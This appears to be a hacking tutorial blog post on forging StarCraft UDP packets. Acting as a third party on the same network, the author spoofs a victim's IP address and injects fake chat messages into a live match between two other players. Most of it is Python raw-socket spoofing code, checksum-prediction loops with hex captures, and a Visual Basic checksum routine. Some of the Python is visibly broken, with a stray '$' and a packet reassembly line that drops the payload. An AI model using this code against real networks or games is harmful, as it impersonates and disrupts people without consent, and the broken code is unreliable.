So continuing on from our previous tutorial digging into the UDP protocol we learned a bunch of different things about how it works. Since then I’ve done some more digging and was actually able to uncover a fair amount of detail on the protocol itself as it has been hacked and reverse engineered pretty heavily over the years.
A basic UDP packet takes the following form:
(UINT16) Checksum (UINT16) Header Length (UINT16) Seq1 (UINT16) Seq2 (UINT8) CLS (UINT8) Command (UINT8) PlayerID (UINT8) Resend
Here’s a bit more information one what each field means:
Checksum is performed by a storm function and is calculated on the whole message, starting at Header Length. Header Length is the length of the entire message. Seq1 is the sender's position in the outbound stream. Seq2 is the most recently received message. CLS is always a value from 0-2, 0 indicating that the message is processed by Storm, 1 for asynchronous data, 2 for synchronous data, both of which are passed onto the game client. Command specifies the message type for CLS type zero, but is always zero otherwise. PlayerID is the ID of the sending player. Resend contains control flags.
So if we’re going to spoof or send messages we’re going to need to break or bypass the checksum. As any message with an incorrect checksum will be discarded silently by the client.
We also have another hurdle in that every message sent has a counter that increments which prevents us from performing a replay attack. This will also change the checksum of the packet as the counter increases.
So we’re left with three options:
- Attempt to bruteforce each new packet with semi-intelligent guesses
- Reverse engineer the checksum protocol
- Inject ourselves into the target process and call the NetSendMessage function directly
Let’s assume for the sake of brevity that we can’t perform methods 2 or 3. In this scenario we’ll take the role of a third party who is just on the same network but does not have StarCraft installed. Our goal will be to inject a fake message into a live match between two other players.
We’ll require the following tools for this:
Make sure you get everything setup correctly by following the guides. If you want to make life easier for yourself, install a Linux virtual machine and configure using the built in package manager (I might do a guide on this later).
Since we’re spoofing we’re going to have to modify our UDP packet to contain the source address of our victim. Luckily python has all this stuff readily available to us. First make sure you have the pyip package installed:
pip install pyip
Now we can work on our code:
#!/usr/bin/python import time import socket import struct import inetutils, ip, udp # from pyip install with pip target_ip = '192.168.137.231' # Replace with your target ip host_ip = '192.168.137.1' # Dst IP addr # This function will send our forged UDP packet to the host def send_raw_udp(src_port, dst_addr, dst_port, data): # Create a new socket object out_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) # Create a new udp packet udp_frag = udp.Packet(sport=src_port, dport=dst_port, data=data) # Assemble the packet udp_assembled = udp.assemble(udp_frag, False) # Create our spoofed header pseudo_header = socket.inet_aton(target_ip) + socket.inet_aton(dst_addr) + '\x00\x11' + struct.pack('!H', len(udp_assembled)) # Calculate the packet checksum (required for UDP or the packet will drop) cksum = inetutils.cksum(pseudo_header + udp_assembled) # New packet with checksum udp_assembled_with_cksum = udp_assembled[:6] + struct.pack('H', cksum) $ # Send the spoofed packet out_socket.sendto(udp_assembled_with_cksum, (dst_addr, 0))
On most modern Operating Systems you will need to be root (Linux) or elevated (Windows) to run this code.
Sweet! Now we have the basic building blocks in place to send our packet we just need to know what data to send. We already know the packet format however it’s a pretty good guess that the game host will generate some type of random seed to further mess with our efforts (and you know use the seed RNG stuff in game).
Fire up a new session and we’ll test our new theory (make sure Wireshark is listening in the background). From your victim send a chat message i.e “This is a test.”. Then exit the game and start a new one and send the exact same message. Now we can compare the captured output.
As you can see both the checksum and another field have changed. So what we’ll do is retrieve the last known message from the capture then modify the checksum manually.
I know from statically analysing many many packets that the first checksum byte pair increases by three and the second decreases by four every time a message is sent.
Here’s an example of the same message being sent three times.
e7 36 1e 00 01 00 05 00 01 00 01 00 00 93 ea 32 1e 00 02 00 05 00 01 00 01 00 00 93 ed 2e 1e 00 03 00 05 00 01 00 01 00 00 93
Here’s what it looks like in different game:
d5 c9 1e 00 01 00 05 00 01 00 01 00 00 12
Astute readers will notice that 1e = 30 which is our packet length remains constant. There are only three byte pairs that are modified the first two which are the checksum and the last byte pair which indicates the start of our message.
Start a new game and send the same message again. Open your capture and locate the packet that was sent. Set your initial values in the code below:
# Last message sent: # My values: c6 1a 1e 00 01 00 05 00 01 00 01 00 00 d0 chk1 = 0xc6 chk2 = 0x1a marker = 0xd0 count = 0x05 packet_middle = b'\x00\x05\x00\x01\x00\x01\x00\x00' # Other constant variables that dont change msg = 'This is a test.' + b'\x00' # Our zero terminated message
Now we can design a simple loop to increment our values and repeat the message:
for c in range(0, 4): count = count + 1 chk1 = chk1 + 0x03 chk2 = chk2 - 0x04 packet_len = len(packet_middle + msg) + 6 packet = struct.pack('>B', chk1) + struct.pack('>B', chk2) + struct.pack('>B', packet_len) + b'\x00' + struct.pack('>B', count) + packet_middle + struct.pack(">B", marker) + msg for a in packet: # Print out hex representation of our fake packet # incase we need to fault find print "%02x" % (ord(a)), print(" ") # Send our fake data send_raw_udp(6112, host_ip, 6112, packet) time.sleep(1) # Sleep for a second
Aaaand we should see:
Our forged message being sent multiple times, exactly as we wanted!
So at the moment we can only inject messages that we already know the initial checksum value of. To inject ANY message without doing packet analysis you’d have to implement the packet checksum and then brute-force the marker byte pair.
So I did you a solid and found some code claiming to the be the checksum calculation method (it’s written in VB) but you could quite easily convert it to your language of choice.
Private Function RShift(ByVal pnValue As Long, ByVal pnShift As Long) As Double On Error Resume Next RShift = CDbl(pnValue \ (2 ^ pnShift)) End Function Private Function LShift(ByVal pnValue As Long, ByVal pnShift As Long) As Double On Error Resume Next LShift = CDbl(pnValue * (2 ^ pnShift)) End Function Private Function SubCheckSum(ByVal buf As String, ByVal length As Integer) As Long Dim sum1, sum2 Dim i As Integer, iY As Integer For iY = 0 To length - 1 i = length - iY sum2 = sum2 + Asc(Mid(buf, i, 1)) If sum2 > &HFF Then sum2 = sum2 - &HFF End If sum1 = sum1 + sum2 Next iY SubCheckSum = (LShift((sum2 And &HFF), 8)) Or ((sum1 Mod &HFF) And &HFF) End Function Private Function UDPCheckSum(buf As String) As Integer Dim subsum As Long, length As Integer Dim a As Long, b As Long, Ret As Integer CopyMemory length, ByVal Mid$(buf, 3, 2), 2 length = length - 2 subsum = SubCheckSum(Mid$(buf, 3), length) a = &HFF - ((subsum And &HFF) + (RShift(subsum, 8))) Mod &HFF b = CLng((((&HFF - (a + RShift(subsum, 8)) Mod &HFF) And &HFF) Or LShift(a, 8))) CopyMemory Ret, b, 2 UDPCheckSum = Ret End Function
That’s it for now! If you like my articles make sure to show your support on Patreon! Or follow me on twitter to get notified when the new articles get uploaded! Don’t forget to drop by our Discord chat.
Support me on Patreon: